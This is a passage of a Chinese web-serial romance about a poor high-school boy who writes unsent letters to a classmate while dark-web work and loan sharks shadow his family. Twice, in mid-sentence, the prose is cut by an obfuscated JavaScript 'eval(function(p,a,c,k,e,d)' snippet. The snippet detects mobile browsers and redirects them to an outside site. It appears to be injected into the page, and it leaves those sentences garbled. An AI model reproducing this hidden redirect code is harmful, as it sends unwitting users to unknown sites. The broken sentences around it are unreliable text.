不过话说回来,这次任务赚的钱够用一阵子了,至少能让外婆接受更好的治疗。如果那些催债的家伙没发现的话,或许我们真能喘口气。 稀里糊涂又写了这么多,将心中一直压着的秘密说出口,心里反而轻松了不少。 和你"说说话"的感觉真好,虽然现实中我们几乎没怎么交谈过。 余念同学,你是一个很好的人,今晚的事,请允许我再次说声抱歉,幸好,幸好没有伤到你。 书于2015年10月15日晚。 * 宋恩年轻轻折好信纸,指尖在折痕处来回抚平。 他打开床头的小铁盒,里面躺着两封同样不会寄出的信。将新写的信小心翼翼地放进去,又取出那块HelloKitty橡皮擦看了会。 窗外的雨越下越大,风裹挟着雨点拍打在玻璃上。 找来一个纸箱,把铁盒和橡皮擦放进去,又垫了几张旧报纸,而后将纸箱郑重地放在床头柜旁。 * 余念看完第三封信,心中只有一个念头:心疼。 想到他说,因为外婆的病情,所以迫不得已接很危险的任务赚钱。 她心里泛起一阵酸涩,真不敢想这一路,他是怎么过来的,又是如何走到今天。 指尖不自觉地摩挲着信纸上的一处水痕,不知是雨水还是泪水。那些轻描淡写的文字背后,藏着多少常人无法想象的艰辛? 她深吸一口气,却觉得肺里的空气都被这封信挤走了,那些看似平静的叙述下,是深不见底的沉闷与倔强。 但她偏偏读懂了,读懂了字里行间那份救赎。 如果可以,她真的很想回到那时候,多和他说几句话也好。 就像宋恩年在信里所说的,他们高中三年都没怎么说过话。她忽然觉得好遗憾。 胸口实在烦闷,余念索性站起来,推开窗户,雨后清凉的晚风瞬间充盈了整个房间。 她拿起第四封信,内心祈祷这封信里写着的是好事和好心情。 10. 第四封信 2015年的冬日在信笺展开的瞬间苏醒。 巷口的落叶打着旋儿跌进青石板缝隙,薄雾在街角游荡,裹挟着油条与豆浆的香气,将整个巷子浸泡在温润的烟火气中。 余念又一次匆匆跑出门。 早点摊,宋奶奶正掀开竹编笼屉,白茫茫的蒸汽呼啦涌上半空,模糊了晨光。 宋奶奶大老远看到她,眉开眼笑地从笼屉里拿出热气腾腾的早点,麻溜装在包装袋里。 递过去,“念念,今儿是笋干鲜肉馅,给你留了三个。” “谢谢奶奶。”余念拿到手就迫不及待咬了大一口,饱满的馅料顿时蒸腾着香气而出。 一个大包子,三两口就能吃完,好不过瘾。 “慢些吃,当心呛着。”宋奶奶看她吃得这么香,心中也高兴,“喜欢吃什么给奶奶说,奶奶下次多做些,带点去学校,课间也能吃。” 余念嘴里还嚼着包子馅,闻言咧嘴一笑,“不用了奶奶,您每次都给我留这么多,我吃得很饱了。” 宋奶奶忍不住笑出声来,记得刚开始的时候,这个小姑娘每次都来买一大堆早点,还说要帮同学带。 后来才知道,这孩子是听说她生活拮据,特意来照顾生意的。 看着宋奶奶温柔的脸,余念突然想问:“奶奶,您年轻的时候定是个超级厉害的人吧。” 宋奶奶手上的动作顿了顿,眼中闪过一丝遥远的微光,“厉害算不上,我早些年当过老师,小学老师。” “那个年代的条件不算好,有间像样的教室已然是不错,孩子们大多聪明懂事,眼睛亮得像星星。” 说话间,又有一个顾客前来买早餐,“两个包子,一个茶叶蛋,带走。” “好嘞,您拿好。”宋奶奶笑呵呵的,将准备好的早餐递过去。 看着顾客走远,她才继续说道:“那都是很久以前的事了。” 这句话轻飘飘地落进晨光里,带着经年累月的温柔与释然。却像一片羽毛,却压得余念心头微微一沉。 那个年代的老师,到如今的岁数应该是退休享受生活的年纪。但是宋奶奶却每天辛苦在这卖早点。 注意到老人粗糙的手指关节有些红肿,想必是常年做活留下的痕迹。余念笨拙地安慰道:“以后一定会越来越好的。” 宋奶奶笑出声,“我一个老婆子,早看开了。你最近学业紧不紧,要适当休息,别太累了。” 余念肩膀一垮,抱怨道:“刚考完第四次月考,期末考试马上又要来了,一直在准备考试。” “尤其是三角函数,密密麻麻,跟蜘蛛网似的。” 宋奶奶笑了,利落将早餐递给顾客,继续搭话说,“蜘蛛网能网住露珠,也能接住星光。你只管往上走,走到云彩上头往下看,什么网子都成画了。” “好了,现在几点钟啦,上学要迟到咯。” 余念一看手表,“完蛋,还有五分钟,奶奶我先走啦。” 她咬着最后一口包子往巷口跑。没看见拐角青砖墙后漏出的半片藏蓝校服。 宋奶奶却看得真切。 望着宋恩年所在的方向,暗自摇头。 阿幺的想法藏不过她的眼睛。看着他每天早上执意在墙后追着余念的背影走,那眼神里的光是她从没见过的闪亮与温润。 这明显就是在乎人家小女生嘛。 这么多天了,躲躲藏藏的,也不知道出来和人家打个招呼。 宋奶奶表示很愁。 她注意着小巷口方向的动静,余念过去之后不久,宋恩年果然就从巷口出来了,书包半背,往前走去。 宋奶奶一笑。 想着余念人长得乖软可爱,性格又好,阿幺对人家小女孩上心,也是正常的事。 望着孙子挺拔的背影,忽然想起上个月他执意要带自己去医院检查的情景。 她本不想浪费钱,奈何少年执意要去。后来确实查出来病症,算是个较为严重的肺炎,医生都说幸好发现得早,再晚几天慢性肺炎就要恶化了。 好的是现在病情还在初期,简单的药物控制即可,休息了这些天,确定控制住了,她才再次出来摆摊卖早点。 宋奶奶叹气,深吸一口气,继续干活。 抬头望着两个年轻人仓促交错的身影,忽然想起今晨和面时,老面在木盆里舒展的样子。 那些细密的气孔在面团里悄然生长,如同青春欲说还休的心事,在晨光里慢慢发酵成蓬松的温柔。 * 宋恩年裹着校服外套,不紧不慢往学校的方向走,同样是在距离上课铃响的前一分钟进入学校。 班主任站在讲台边,严肃的脸在看到他的瞬间立即转变成温和的微笑。 毕竟那个闪闪发光的年级第一,永远是最好的通行证。 玻璃窗上凝结着细密的水珠。宋恩年摘下眼镜擦了擦,翻开课本准备预习。 “喂,老宋。”孟修突然把厚重的练习册竖起来,挡住脸,凑过来说,“跟你说个事儿。” 宋恩年头也不抬,指尖轻轻翻过一页书:“说。” “我好像...喜欢上一个女生了。”孟修的声音突然变得很轻,像羽毛落在地上。 他无意识用笔尖戳着橡皮,留下一排细密的小孔,仿佛要把那些说不出口的悸动都戳进这方寸之间。 “而且我觉得...她也喜欢我。” 宋恩年仍然不感兴趣,只淡淡说,“早恋不好。” 换而言之,就是让他不要去祸害人家。 孟修撇了撇嘴,不过他早已经适应了宋恩年这种态度,继续道,“谁说要早恋了,我的意思是高考后。” “那女生是三班的,哎对了,经过我多天的观察,她应该也住在核桃巷。” 宋恩年听到这话,看书的动作一顿。 孟修自顾自继续说,“话说,你天天早上从核桃巷里出来,见过她没呀,就白白净净一个小女孩,笑起来还有两个小酒窝那个。” 宋恩年周身气息一沉,孟修还在说着,“她肯定也喜欢我,之前的篮球赛,我也在观众席看到她了。” 宋恩年将课本放下来,扭头森冷地盯着孟修。 孟修竖起来折好衣领,开始幻想,“你给我参考一下,如果我......” “别想了,你没戏。”宋恩年面无表情。 孟修不乐意了,“凭啥,我都没说是谁呢就没戏了,你认识她吗。” “我都打听清楚了,她叫方依珞,文科学霸,语文作文经常被印发给全年级传阅呢。” “我喜欢上这么优秀一个人,你竟然不鼓励我,上来就打击我的自信心,还是不是兄弟了。” 宋恩年紧绷的肩线微不可察地放松下来。他视线回到课本上,声音恢复了往日的平静:“哦,现在有戏了。” 孟修:“哈?” “不是哥们,你也太不靠谱了吧。” 很快他又摊着手无奈啧声,“好吧,像你这样书呆子是不会明白爱情这种美妙的东西的。” “我决定了,从今天开始我要努力学习,我也要选文科,争取赶上方依珞的步伐。” 宋恩年笑了声,瞥了他一眼,“现在才高一,你就想这么远。” “那不然呢。”孟修说,“窈窕姑娘,君子好逑。” “再说了,文科班男生少,到时候多说话,定能和她处成朋友,三年的感情积淀下来,徐徐图之,高考后......优势在我!” 宋恩年没理他,只瞥了眼孟修桌上惨不忍睹的历史试卷,“你确定要选文科?” 孟修立刻像被踩到尾巴的猫:“当然了,不要小瞧我的毅力。” 他抓起语文书就开始大声朗读,“路漫漫其修远兮,吾将上下而求索。” 下课铃适时响起,打断了这场单方面的热血宣言。 宋恩年望向窗外,阳光在回字形教学楼的走廊上投下菱形的光斑。 早读课间,余念时常会去拐角处的饮水机接水。 果然,没过多久就看到那个熟悉的身影。余念今天扎了个松松垮垮的马尾,发梢随着步伐轻轻晃动,身边还跟着一个白净可爱的女生。 孟修突然用力戳他,“快看快看,外面那个带着兔子发绳的就是方依珞,是不是长得很可爱。” “天啊,要是让她也喜欢我,考试次次满分我都愿意。” 就见两个女生不知讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459111|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论了什么,俩人一齐笑起来,眼睛弯成月牙。 就在这时,方依珞不知为何突然扭头,正好对上孟修灼热的目光。 窗户两端,阳光从明媚的玻璃外折射而入,照在男孩女孩灿烂的眸子里,两人都快速移开了眼睛。 宋恩年只看见余念跟着转过头来。 四目相对的瞬间,微风吹过,窗外的梧桐树突然摇晃,抖落一地细碎的阳光。 这是两个人第三次对上视线。 不像前面那两次毫无征兆的,眸中错愕的,这一次略微带些好奇,或者说是,带些青春期独有的悸动。 宋恩年感到胸腔里有什么东西轻轻颤动了一下,像是蝴蝶初次振翅。对视的这一秒好似被无限拉长。 他第一次产生一种有悖于所学理论的观点:希望时间永远在此刻停驻。 “看见没有,那就是方依珞,是不是很可爱。”孟修回过神来,疯狂地摇着宋恩年的肩膀,还恋恋不舍盯着方依珞两人离开的方向。 宋恩年面无表情将手抽出来,“确实。” 得到肯定,孟修更高兴了,他抓起历史书,做出一个夸张的宣誓姿势,“我要开始努力了,背书!” 宋恩年看他那样子,扭头望着窗外那片被阳光照得发亮的天空,突然很想知道,此刻余念眼中的世界是什么颜色的。 如果分科的话,余念要去理科,他也定然选理。 那这么说,他们也有概率能够去到一个班。 这个念头让他心头微微一热,像是喝了一口温热的蜂蜜水。 ...... 另一边,方依珞拉着余念走过去之后也疯狂摇着余念的手臂,“看见没有,刚才那个头发微卷的就是孟修,长得好看,成绩又好,简直就是小说男主。” 说着也有些害羞,“刚才...刚才孟修是不是也在看我?” 余念还沉浸在刚才那个意外的对视里。宋恩年的眼睛在阳光下是浅褐色的,像秋天浸泡在溪水里的琥珀,清澈又温暖。 和平时冷冰冰的样子完全不同... “念念。”方依珞气鼓鼓地捏她的脸,“你有没有在听我说话!” “啊?”余念回过神,“你说孟修?就是上次篮球赛你非要拉我们去看的那个?” 方依珞点头,“对呀,但是他们火箭班肯定注重理科,到时候分班了我们就会隔得好远,下课就不能顺路来看他了。” 余念安慰她,“再远都在一栋楼,不过就是楼上和楼下的区别。” 两个人打好了水,回到教室。 方依珞一言不发沉思了两节课,最后下定决心一般,对余念和顾苒宣布道:“我决定了,我也要学理科。” “啊?!” 余念和正在整理笔记的顾苒同时抬起头,脸上写满了不可思议,“你可是文科老师的掌中宝,你在开什么玩笑。” 方依珞咬了咬下唇,眼神却异常坚定,“理科也没有什么不好的,就像念念说的,把它当成一个升级打怪的游戏就好了。” 顾苒夸张地扶住额头,“也是你说的,这游戏的通关率不到20%,”她转向余念寻求支持,“念念快劝劝她。” 余念还没来得及开口,方依珞就抢先说:“我已经想好了。我能学好文科,就一定能学好理科。” “再说了,又不是只有一条路可以走...” 顾苒翻了个白眼:“疯了疯了,一个两个都被理科班的男生下了蛊吗?” 她突然转向角落里安静喝水的陆青竹,“小胖,那你呢,你要选文科还是理科?” 陆青竹捧着水杯,轻声说:“我...我想选文科。” “太好了!”顾苒兴奋想要抱住陆青竹,奈何太胖了抱不动,只抱住了一只手臂:“太好啦小胖,到时候咱俩还做同桌吧。” 四人互相调侃了一会。 上课铃响起,阳光从清澈的窗户透进来,暖洋洋撒在四个人脸上,将这一幕永远定格。 命运的齿轮在这一刻悄然转动,将少年少女们推向各自选择的道路。 有些相遇注定短暂如樱花,有些羁绊却会如藤蔓般绵长。在这个普通的早晨,纵横交错,又渐渐远离。 11. 第四封信 冬夜微凉,晚自习放学。 宋恩年没着急走,将老师今日讲的内容复习一遍,瞥了眼墙上的时钟。合上最后一本习题册,教室里只剩下他一个人。 窗外的风裹挟着南方特有的湿冷,从窗缝渗进来,指尖微微发僵。他呵出一口白气,看着它在玻璃上凝结成细小的水珠,又很快消散。 墙上的挂钟指向十点,高三的晚自习刚刚结束,走廊上传来零乱的脚步声和嬉笑声,很快又归于沉寂。 他整理好书桌,背上书包离开。 直到出了校门,他才谨慎地从书包的内侧掏出手机,看到银行卡上的余额,他呼出一口气,像是卸下某种无形的重量。 这些钱足够维持很长一段时间,外婆的医药费也暂时够了。 他突然有些庆幸,当天去接了老李的任务。 心头轻松,刚想将手机揣回兜里,就看到企鹅里蹦出一条消息。 孟修:老宋!救命!我今晚又看到方依珞了,她冲我笑了! 孟修:你说我要不要现在加她企鹅?会不会太突然? 孟修:……算了,我怂了。 孟修:呜呜呜呜呜,没有人理我,你们这群冷漠无情的人。 宋恩年点进去,想要回话,就看到[一中地下交流群]的群消息不断在更新。点开,就看到孟修在里面高谈阔论,还有很多人也一同在里面聊得热火朝天。 其中孟修发言最多,连续霸榜了多日的群聊最活跃成员。 宋恩年扯了扯嘴角,摁灭屏幕,把手机塞回口袋。 一路朝着核桃巷的方向走,路过小夜市,和老杨他们打招呼。 他两天前已经和老杨和花姐他们说了明白,暂时先不干了,扯了一个学习紧张的借口。 这些家长一听这话,连忙表示学习重要,要是有啥需要帮助的,尽管来找。 夜宵摊飘各式各样的浓香,频频掀开的蒸笼与烧烤摊的白雾模糊了霓虹招牌。 宋恩年竖起校服领子,看自己的影子被路灯拉长又揉碎在积水里。身后某处传来胶底鞋碾过枯榕叶的脆响。 他几乎是立即感受到,身后有人跟着。 “喵。”团圆亲昵的从草丛里钻出来,因着这些天余念和宋恩年两个人的交替投喂,它圆润了许多。 宋恩年蹲下来逗弄团圆,从任何一个角度看都是一个十分温馨提示有爱的场面。 同时也用余光往后看,注意到那几个人影往一直没离开。他当即判断,那些人是来盯梢的。 至于有没有盯上自己,他不敢下定论。 最重要的是,不能露出马脚。 当天他戴着帽子和墨镜,遮住大半的脸,穿着从楼内顺来的衣服,鞋里还加了增高鞋垫。 如今他就只穿着简单的衣服和校服,银行卡也不是他的实名信息,这些天不曾有过大幅消费。那群人应该不能轻易怀疑到自己身上。 况且他将自行车安置在了老头那,他们也不可能通过自行车找到自己。 又仔细回想了当天的所有经过,确定自己没有露出过任何马脚。宋恩年若无其事地站起身来,团圆得到他的投喂,一直在喵喵地围着他转。 他轻轻拍了拍团圆的头,低声道:“明天见。” 和团圆道别,踏上回家的路,一路上没有表现出任何不自然。 直到那扇破旧的门彻底关上,发出清脆的叹息,屋内传来宋奶奶清晰的声音:“阿幺回来啦。” 屋外一群凶神恶煞的打手将目光收回,相互对视一眼。 “你们觉得是他么?”一个粗哑的男声问道。 绑着高马尾的女人不耐烦地甩了甩头发,手臂上的纹身在路灯的照耀下泛着冷光。“盯了这么多天,没看出什么不对劲。” 她的声音里带着明显的烦躁,从口袋里摸出烟点上,火星在黑暗中明灭,“老娘每天早上五点半就来蹲点,就为了看一个高中生上下学?操。” 另一个光头男挠了挠头,“我打听了,那对祖孙俩很穷,需要用钱还债,但最近却有钱带那老太婆去看病了,这钱哪来的,很可疑。” 女人更烦躁了,将烟头扔在地上,用脚尖碾灭,“我也调查了,说是个简单的肺炎,就开了两盒药,那算哪门子的钱。” 她嗤笑一声,转身就走,“要蹲你们继续,老娘不奉陪了。” 有人问,“你走了,我们怎么交代。” 女人头也不回地摆摆手:“该怎么交代就怎么交代,就说老娘不干了。” 她的身影很快消失在街角,只留下一缕烟味飘散在夜风中。 剩下的几个人面面相觑。夜风渐凉,吹散了他们呼出的白气,也吹散了他们的耐心,最终也裹紧外套,三三两两消失在巷子深处。 夜色重新笼罩了这条小巷,只有那间破败的窗口还亮着温暖的灯光。 屋内,宋恩年站在窗前,晚风撩起他额前细碎的黑发,露出那双如寒潭般清冷的眼睛。 窗帘的缝隙刚好能看到外面的情况,手指无意识地摩挲着窗框,直到那些身影全部消失,才轻轻拉上窗帘。 他多次反复回溯当天的场景,确实万无一失,才有勇气这样淡定。 那群人就算是想找,核桃巷里多的是和他一样年岁、身量差不多的年轻小伙子,怀疑对象多了去了。 想到这,他略带轻松将虚掩着的窗户给关严实了,宋奶奶正好端出最后一个菜,“吃饭啰。” 她在围裙上擦了擦手,饭菜在钨丝灯下泛着细碎的光。 “阿幺,这些天就别去夜市干活了,该休息就休息。” 宋奶奶说着,往宋恩年碗里夹了块肉,“今儿才19号,已经攒够了这个月的钱,交完之后,剩下的咱们留着,日子总会越过越好。” 宋恩年低头咬了一口,“外婆,以后不要这么忙了,咱们现在有钱。” 宋奶奶继续吃着饭,“你有钱那是你自个的,留着学习用。” 说着她动作停顿片刻,“好孩子,以后外婆不去医院了,外婆的身体自己清楚,去了也是浪费钱。” “外婆。”宋恩年放下筷子,“用在您身上的,永远都不是浪费。” “钱没了还能赚,但病不可以不治。” 这句话说得很轻,却像一块冰,沉甸甸地坠在空气里。 宋奶奶看着他那倔强的眉眼,叹一口气。 她自己的身子什么样,自己最明白。要是自己某天真的不在了,阿幺该怎么办。 宋恩年沉默,夹了一块肉放到宋奶奶碗里。 祖孙俩人没说话,吃完饭后就各自回到房间内。宋恩年坐在书桌前,沉默地掏出手机,点开老头的电话框,输入:“我父亲有线索了吗。” 老头很快就回复了:“还没有,小恩年最近缺钱了没,很多大单子哦。” 末尾照常加上很多夸张的颜文字。 宋恩年面无表情,径直划走。 他至今都想不明白,他那个名义上的父亲是如何能够做到近五年内没有动用过身份证信息,也从不曾出现在摄像头范围内。 就好像是真的人间蒸发了一样。 就连赌场那群人找不到他的线索,老头多年混迹黑网,也找不到他的半点踪迹。 宋恩年忽然对名义上的这个父亲感到好奇了。 想起父亲失踪前那个雨夜,赌场打手砸门的巨响混着雷声,男人慌张翻窗逃跑,全然不顾身后支离破碎的家庭,甩落的拖鞋还留在阳台,还沾着带血的玻璃渣。 他冷笑一声。 企鹅的消息一直弹窗,他皱眉,点开。 将所有的消息群消息都设置成为免打扰,看到孟修的头像又有新消息提示,没有犹豫,也设置成了免打扰模式。 想了想,他在搜索页面输入了余念的企鹅号,很快就出现一个熟悉的头像,点进去,看到空间动态更新了。 最新的几张照片是傍晚的日落,成片的火烧云覆盖在天空上,像是泼了一层油画。 犹豫一会,花9元开了个黄钻,将空间设置为隐藏访客记录,然后点进了余念的空间。 他突然觉得有些好笑,连偷看别人的生活都要小心翼翼擦掉脚印。 余念的空间分享比想象中的更精彩,有落日的照片,有团圆,有和好朋友一起玩闹嬉戏的分享,还有和爷爷奶奶一起在小院子里锄草种地的照片,和家人一起旅游的游记...... 宋恩年自己都没察觉到嘴角不自觉上扬。这些鲜活的碎片拼凑出一个完整的她。 明亮,温暖,像冬日的阳光,让人忍不住想靠近。 他一直到将所有分享全都看完,才退出企鹅空间。 打开窗,看着窗户外头清明的月色,与凛冽的风一起吹进屋里,盯着外头在风里摇曳的衣物,若有所思。 良久,他释怀一般笑了声,从书包里掏出没写完的作业。 此刻月色清明,天地之间静谧得仿佛只有他一个人在提笔奋战。 就在这时,手机震动了声。 他拿起一看,是个新号码。 “我是老李,到美国了。” 他刚想回复,手机微信就弹出一个好友申请,头像是阳光沙滩。 宋恩年的微信和企鹅一样,也基本没用过,就连头像都是系统自带的。是当初老师要求家长必须加入家长群,他才弄了一个微信。 他点开好友申请,微信备注是:老李。 刚点下通过,一个视频电话立马打了过来。 刺目的阳光从屏幕那端溢出来。老李的脸被晒得泛红,背后是晃眼的沙滩,“小兄弟。” 他举起红酒杯,冰块碰撞出清脆的声响,“哥现在在加州晒太阳呢。”镜头微微偏移,露出身后的风景,“看见没?这才是人过的日子!” 宋恩年笑一声,将手机支在笔筒上,确保镜头只框住自己的脸,“真潇洒。” 老李笑着从一旁端起一个红酒杯,先朝镜头点了点,才开始喝,“费尽心思才得到这样的生活,可不得潇洒么。” “你最近怎么样。” 宋恩年:“忙着上学。” 老李突然想到什么,感兴趣问:“对了,那天你说的欠高利贷,是怎么个事?” 宋恩年轻轻冷笑,“我生物学上的父亲,大概五年前欠了几个亿,人间蒸发了。” “啧。”老李将酒杯搁在一边,“这么多年一直没有动静?不会也跑到国外去了吧。” 看着宋恩年不算好看的表情,老李识相地转移话题:“我在拉斯维加斯认识个兄弟,专门帮人找失踪人口的,我让他帮忙打听打听。” 宋恩年笑了,“那谢了。” 老李摆手,刚想说话,一个穿着火辣的美女端着酒杯想要贴上来,就被老李皱着眉给拦到一边,“没看到我正在打视频么,我兄弟未成年,都给我滚远点。” 穿着暴露的美女们一听这话,吓得无人敢靠近。 老李扭过头,换了副表情,“那些人还在核桃巷溜达吗,没找你麻烦吧。” “没有。”宋恩年说,“他们没认出我,不过确实在这蹲守了好些天。” “最近榕城在创城,管得严,他们不敢乱来。” 老李挤出一个大大的笑,“要不说你靠谱呢,当天那个变装,换个人,谁能和你一个高中生联系到一块。” 他介绍自己的现状,“我在这边认识了个好哥们,赚钱有些门路,我打算跟着他一起干了,等哥混出头了,不会忘了你的。” 宋恩年点头,说了句,“别又入局了。” 老李瞥他,一笑,“我怀疑你在内涵我。” 宋恩年同样也笑,“上次的教训就摆在眼前,不然你也不会在黑网上招人,对吧。” 老李说,“你很聪明。” “不过我不会再犯被女人骗那种低级的错误,现在的这个大哥是朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459112|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友介绍认识的,人不错。” 宋恩年点头,“我还要写作业,先这样吧。” 老李咧嘴一笑,“兄弟,我就喜欢你身上这股韧劲。” 宋恩年没接话茬,将电话掐断了。 又吹了一会风,将试卷写完之后,拿出课本开始复习。 学累了就回到床上躺着,台灯的光晕在眼皮上投下一层淡橘色的暖意,像是黄昏时分的余晖。 他侧过头,视线落在床头柜旁的牛皮纸箱上,沉默片刻,又坐起身,从抽屉里抽出一张信纸。 笔尖悬在纸面上方,墨水在顶端凝聚成一颗小小的黑珠。 窗外有夜风掠过,吹动窗帘,月光从缝隙里漏进来,落在他的手腕上,像一截清冷的银链。 他抿了抿唇,轻轻下笔。 * 余念同学: 榕城的冬天来得突然,前些日子还残留着秋意的街道,转眼就覆上了一层薄霜。 早上挺冷的,看到你有时候忘记穿厚衣服,等早餐的时候被冻到,我很想给你带杯热豆浆,原谅我没勇气踏出那一步。 近来生活平静得像一潭静水,过着学校与家之间两点一线的日子。前些日子接的任务结了款,数额比预想中丰厚,终于可以暂时一天打几份工的日子了。 说来奇怪,这些天遇见你的次数突然多了起来,也许是命运终于愿意施舍给我一些温柔。 我时常看到你在走廊问老师问题,看到你在走廊背书。笑容让阳光都明媚了几分。 你笑起来真的很好看,平日里可以多笑笑。 最近还发生了一件趣事,我同桌喜欢上了你同桌,天天说着一定要选文科,要和方同学分到一个班级。 也不知道他是怎么突然喜欢上人家,十头牛都拉不住。 看到你和方同学一同经过我们班级去接水,那小子的叫声都快要掀翻屋顶了。 我还在企鹅群里找到了你的企鹅号,发现你的空间是开放的,我花了九块钱开了个黄钻,将你的生活浏览了一遍。 里面有很多美好的事,记录着月考进步的喜悦,家门口新开的奶茶店,还有周末去图书馆借书的分享。 我最喜欢你写的那段:“今天借到了精装版的小王子,图书管理员阿姨说我和这本书很配,因为我们都带着星星的味道。” 你不知道,这句话我看了好久,想象你说这话时眼睛亮晶晶的样子。 余念同学,你是一个特别好的人。 你的文字像春水化冻,清澈见底又生机勃勃。你为流浪猫搭的纸箱小屋,你收集银杏叶书签,你因为解出数学题而在座位上偷偷比耶的样子,都好生动。 很高兴认识你,虽然你可能并不知道我。 下半学期就要分班了,要是能和你分到一个班就好了。 贫瘠的生活里,幸好命运始终多留了一扇窗,前些日子带了外婆去医院看病,医生说来得早,肺炎还能治好,现在只需要吃药就能控制。 有时候我真的很庆幸,每次以为山穷水尽,都能看到希望。 我真的不敢想,这些年如果没有外婆,我会变成什么样。或许会一直在老头手底下接黑网的私单,直到某一天出差池,死在某个无人知晓的角落。 ——估计会是这个结果吧。 写偏了,还是说点好的吧。 冬天最适合许愿了。 希望外婆的咳嗽别再复发,希望生活顺利,希望同桌能鼓起勇气和方依珞说话。希望你能永远保持现在这样明亮的笑容,像冬日里不会熄灭的小太阳。 愿你在所有的冬天里,永远温暖如春。 书于2015年12月19日晚。 * 宋恩年轻轻折好信纸,放进牛皮纸箱里。台灯的光晕在墙上投下他的影子,清瘦而沉默。 月光从窗外流淌进来,像是温柔的低语。那些未能宣之于口的话语,最终化作夜风里最轻的秘密,安静地沉入冬夜。 * 时间流转。 余念沉默地看完第四封信,觉得心口像是压了一块浸透雨水的棉花,沉甸甸地发胀。 信纸上的字迹清隽工整,她却读出了几分小心翼翼的克制。那些轻描淡写的酸涩,需要多么强大的心脏和内核才能够支撑起那些日夜。 站在雾里看不清未来的少年,当时在想什么? 光是看着文字都要难过到窒息,她不敢想宋恩年是怎么一步步过来的。 想到宋恩年说的空间动态,她确实有喜欢把好心情分享出去的习惯,但从来没想过竟然有人一直在默默关注她。 手指无意识地摩挲着信纸边缘,余念的视线落在“带着星星的味道”那句话上。 她完全不记得自己写过这样的文字,可宋恩年却连这样细微的片段都珍而重之地记在心里。这种被人在暗处温柔注视的感觉,既让人心跳加速,又莫名酸涩。 窗外的蝉鸣很吵。余念靠在窗前,看见月光把榕树的影子投在地上,斑驳得像未说完的心事。 信里提到的《小王子》,想起自己确实在某个下午举着那本书对着阳光傻笑。原来这些她以为无人知晓的瞬间,都被人小心收藏。 余念轻轻吐出一口浊气,心脏隐隐下坠,看向窗外,高考后是一年中夏热最盛的时候,可这封信件里面的凉却浸透心脏。 他在信件的末尾,给身边所有人许愿,偏偏忘了他自己。 想到什么,她快速拿起手机,点开群聊[一中地下交流群]。翻到群聊成员那一栏,往下翻。 群聊列表里八百多个头像,像一片模糊的星海,而她甚至不知道哪一颗是属于他的。 这种近在咫尺却触不可及的感觉,让夏夜闷热的空气都变得粘稠。 翻找了一会,余念放弃了寻找企鹅号这个想法,决定加快速度先将信件看完。 然后,去找他。 她立马拿起第五封信。 12. 第五封信 时空再次随着书信的展开而逆转,回到那个略微躁动的时空。 2015年,冬日的风裹挟着冻雨特有的凛冽,愈发频繁的冻雨天气预示着年尾的靠近。 教室窗棂上凝结的雾气折射着夕阳最后的余晖,在走廊瓷砖上投下细碎的虹光。 记忆回到榕城一中。 期末考试最后一科的铃声响起,整栋教学楼都轻轻震动了一下。学生们如潮水般涌出考场,有人欢呼雀跃,有人垂头丧气。 刚回到教室,各科课代表已经抱着一摞摞答案纸走进来,每人一份。 冬日的寒气从敞开的门窗缝隙钻进来,在每个人的呼吸间凝结成白雾。 余念回到座位,搓了搓手,开始对照答案。鲜红的对勾在苍白的纸面上格外醒目。 她轻轻呼出一口气,白雾在空气中短暂停留又消散。 这次考得还不错。 扭头看向同桌方依珞,见她愁眉苦脸的,轻轻拍了拍她的肩膀。 “小珞。” 方依珞转过头,睫毛上还挂着细小的泪珠。 余念放缓声音,“从明天开始就放假啦,我们去新城区那边玩好不好?听说新开了好喝的家奶茶店。” 方依珞重重叹了口气,声音闷闷的:“我物理又考砸了...万一进不了实验班怎么办?” 说着又低头去看那道错题,指尖在错误的选项上来回摩挲,仿佛这样就能擦掉重来。 余念看了眼,“那就选文科吧,你的文科成绩去实验班一定没问题,再说了文科班与理科班离的也不算远,几步路的事。” 方依珞叹气,“但是我爸妈也希望我选理科,说以后就业机会多。” 顾苒闻言,从漫画书里抬起头,短发被风吹得翘起一撮。她伸手按住乱飞的纸页,挑着眉说道:“听姐一句劝,选自己喜欢的才最重要。” “举个例子,我表哥,当年就是硬着头皮选理科,现在天天在实验室掉头发,每天哀嚎说这不是自己喜欢的事。” 余念忍不住笑出声,看见方依珞的嘴角也微微上扬。顾苒趁机把漫画书往桌上一摊,指着某个角色说:“你看这个男主角,不就是坚持自己的梦想才能从底层一步步成长为现在的大人物。” 对啊,文理科分班就只有一次机会,选定了之后,接下来的三年时间都不能再改变了。 方依珞望着窗户上的水汽,叹气说:“我还是去问问老师的意见吧。”她的声音轻得像雪花落地,“毕竟...这是决定了之后就不能再改变的事了。” 余念和顾苒都同意,点头说:“去问问老师也好。” 方依珞笑笑,“不管选文还是选理,能和大家在一起就好。” 几个人相视一笑,异口同声地说:“一定会的!” 这声音在嘈杂的教室里并不突出,却让她们心里都涌起一股暖流。 顾苒说,“哎呀好啦,都考完了,就不要再想那些既定的事啦。” “不如想一想,接来下寒假的安排,我有好多想玩的呢。” 她兴奋地说,“我都计划好了,寒假第一天就要睡到自然醒,然后去吃那家新开的火锅店。” “还有演唱会。”方依珞眼睛亮晶晶的,“我攒了好久的零花钱,就等着这一天呢。” 陆青竹腼腆地推了推眼镜:“那个......我可以帮你们买票,我表哥在售票处工作。” 